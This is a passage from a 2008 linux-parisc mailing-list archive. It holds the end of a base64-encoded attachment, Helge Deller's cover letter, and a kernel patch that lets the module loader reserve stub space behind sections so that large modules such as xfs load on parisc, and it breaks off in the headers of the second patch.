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

--VbJkn9YxBvnuCH5J--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix module loading failure of large kernel modules
Date: Mon, 29 Dec 2008 15:07:26 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <4958D99E.4010201@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230559657 13719 80.91.229.12 (29 Dec 2008 14:07:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 14:07:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Moritz Muehlenhoff <jmm@
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 15:08:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHInT-0004cd-Lb
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 15:08:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753484AbYL2OH2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 09:07:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753547AbYL2OH1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 09:07:27 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58358 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752372AbYL2OH1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 09:07:27 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 14:07:25 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp024) with SMTP; 29 Dec 2008 15:07:25 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19OPA4Z4E9OhDoCZP0bAKKqPWdtudKBGspnVhMApE
	9g7/MHufdBSkrO
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1039 gmane.linux.kernel:773314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1039>

The parisc port (esp. the 32bit kernel) currently lacks the ability to
load large kernel modules like xfs or ipv6. This is a long outstanding
bug and has already been reported a few times, e.g.:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=350482,
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=401439,
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508489

The symptom is like this:
# modprobe xfs
FATAL: Error inserting xfs
(/lib/modules/2.6.26-1-parisc/kernel/fs/xfs/xfs.ko): Invalid module
format

In dmesg:
module xfs relocation of symbol xfs_btree_read_bufs is out of range
(0x3ffefffe in 17 bits)

The reason for the failure is, that the architecture only provides the
R_PARISC_PCREL17F (for 32bit kernels) and R_PARISC_PCREL22F (for PA2.0
and 64bit kernels) relocations, which sometimes can't reach the target
address of the stub entry if the kernel module is too large. Currently
parisc (like other architectures) creates one big PLT section for all
stubs at the beginning of the init and core sections.

The following two patches changes the parisc module loader to put stubs
in between the code sections instead, so that the distance to the stubs
more easily fits into the available 17/22 bits.

The first patch touches the generic module loader and adds a call to the
new module_additional_section_size() function to get_offset() if
CONFIG_ARCH_WANTS_STUBS_BEHIND_SECTIONS is defined. On parisc this
function returns the additional bytes for the stub area of a given section.

The second patch implements the parisc-specific changes.

Tested with 32- and 64bit parisc kernels.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/2] module.c: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 15:09:12 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <4958DA08.1080008@gmx.de>
References: <4958D99E.4010201@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------040105060008050603090205"
X-Trace: ger.gmane.org 1230559765 14115 80.91.229.12 (29 Dec 2008 14:09:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 14:09:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Moritz Muehlenhoff <jmm@
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 15:10:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHIpC-00069Y-TZ
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 15:10:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753878AbYL2OJO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 09:09:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753871AbYL2OJO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 09:09:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41148 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753850AbYL2OJN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 09:09:13 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 14:09:11 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp070) with SMTP; 29 Dec 2008 15:09:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19ejNta0nJeuG69/w45JKBqHM/dm1CLNAsJIf30FF
	jHOmJPICUmYOjs
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <4958D99E.4010201@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71,0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1040 gmane.linux.kernel:773316
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1040>

This is a multi-part message in MIME format.
--------------040105060008050603090205
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

[PATCH 1/2] module.c: fix module loading failure of large modules

When creating the final layout of a kernel module in memory, allow the
module loader to reserve some additional memory behind a given section.
This is currently only needed for the parisc port which needs to put the
stub entries there to fulfill the 17/22bit PCREL relocations with large
kernel modules like xfs.

Signed-off-by: Helge Deller <deller@gmx.de>


--------------040105060008050603090205
Content-Type: text/plain;
 name="modules.patch1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="modules.patch1"

diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index eb10339..65fb34c 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -13,6 +13,9 @@ int module_frob_arch_sections(Elf_Ehdr *hdr,
 			      char *secstrings,
 			      struct module *mod);
 
+unsigned long module_additional_section_size(struct module *mod,
+					     unsigned int section);
+
 /* Allocator used for allocating struct module, core sections and init
    sections.  Returns NULL on failure. */
 void *module_alloc(unsigned long size);
diff --git a/kernel/module.c b/kernel/module.c
index 1f4cc00..c7662da 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1579,12 +1579,16 @@ static int simplify_symbols(Elf_Shdr *sechdrs,
 }
 
 /* Update size with this section: return offset. */
-static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
+static long get_offset(struct module *mod, unsigned int *size,
+		Elf_Shdr *sechdr, unsigned int section)
 {
 	long ret;
 
 	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
 	*size = ret + sechdr->sh_size;
+#ifdef CONFIG_ARCH_WANTS_STUBS_BEHIND_SECTIONS
+	*size += module_additional_section_size(mod, section);
+#endif
 	return ret;
 }
 
@@ -1622,7 +1626,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) == 0)
 				continue;
-			s->sh_entsize = get_offset(&mod->core_size, s);
+			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1640,7 +1644,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) != 0)
 				continue;
-			s->sh_entsize = (get_offset(&mod->init_size, s)
+			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
 					 | INIT_OFFSET_MASK);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}

--------------040105060008050603090205--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 15:10:28 +0100
Lines: 438
Approved: news@gmane.org
Message-ID: <4958DA54.8060003@gmx.de>
References: <4958D99E.4010201@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060902090404070205040905"
X-Trace: ger.gmane.org 1230559842 14377 80.91.229.12 (29 Dec 2008 14:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 14:10:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Moritz Muehlenhoff <jmm@
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 15:11:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHIqP-0006VG-Cw
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 15:11:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750945AbYL2OK3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 09:10:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753840AbYL2OK3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 09:10:29 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:38513 "HELO mail.gmx.net"
